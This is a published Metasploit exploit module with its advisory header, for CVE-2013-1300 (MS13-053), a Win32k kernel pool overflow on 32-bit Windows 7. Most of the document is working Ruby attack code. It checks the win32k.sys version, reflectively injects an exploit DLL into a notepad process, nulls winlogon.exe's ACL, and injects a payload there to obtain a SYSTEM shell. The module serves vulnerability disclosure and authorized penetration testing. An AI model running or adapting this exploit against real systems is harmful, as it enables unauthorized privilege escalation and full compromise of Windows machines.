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Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
Posted May 5, 2014
Authored by Nils, Jon | Site metasploit.com

A kernel pool overflow in Win32k which allows local privilege escalation. The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). This allows any unprivileged process to freely migrate to winlogon.exe, achieving privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox. NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.

tags | exploit, overflow, kernel, local, shellcode
advisories | CVE-2013-1300
SHA-256 | 029ce3aa761be432ed6f02ed2e5c43c401df5d87b251095db17f6f35430afe2d

Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)',
'Description' => %q{
A kernel pool overflow in Win32k which allows local privilege escalation.
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
This allows any unprivileged process to freely migrate to winlogon.exe, achieving
privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox.
NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils', #Original Exploit
'Jon', #Original Exploit
'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion
'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;)
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 7 SP0/SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-1300' ],
[ 'MSB', 'MS13-053' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ]
],
'DisclosureDate' => 'Dec 01 2013',
'DefaultTarget' => 0
}))
end

def check
os = sysinfo["OS"]
unless (os =~ /windows/i)
return Exploit::CheckCode::Unknown
end

file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

case build
when 7600
return Exploit::CheckCode::Vulnerable
when 7601
if branch == 18
return Exploit::CheckCode::Vulnerable if revision < 18176
else
return Exploit::CheckCode::Vulnerable if revision < 22348
end
end
return Exploit::CheckCode::Unknown
end


def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end

unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end

print_status("Launching notepad to host the exploit...")
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
begin
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Hosting exploit in the current process...")
process = client.sys.process.open
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
library_path = ::File.expand_path(library_path)

print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

thread = process.thread.create(exploit_mem + offset)
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)

client.sys.process.each_process do |p|
if p['name'] == "winlogon.exe"
winlogon_pid = p['pid']
print_status("Found winlogon.exe with PID #{winlogon_pid}")

if execute_shellcode(payload.encoded, nil, winlogon_pid)
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
else
print_error("Failed to start payload thread")
end

break
end
end
end

end

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